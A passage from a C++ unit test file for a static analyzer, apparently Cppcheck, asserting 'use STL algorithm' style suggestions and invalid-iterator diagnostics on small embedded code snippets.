$.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // #10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) {\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n \" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector 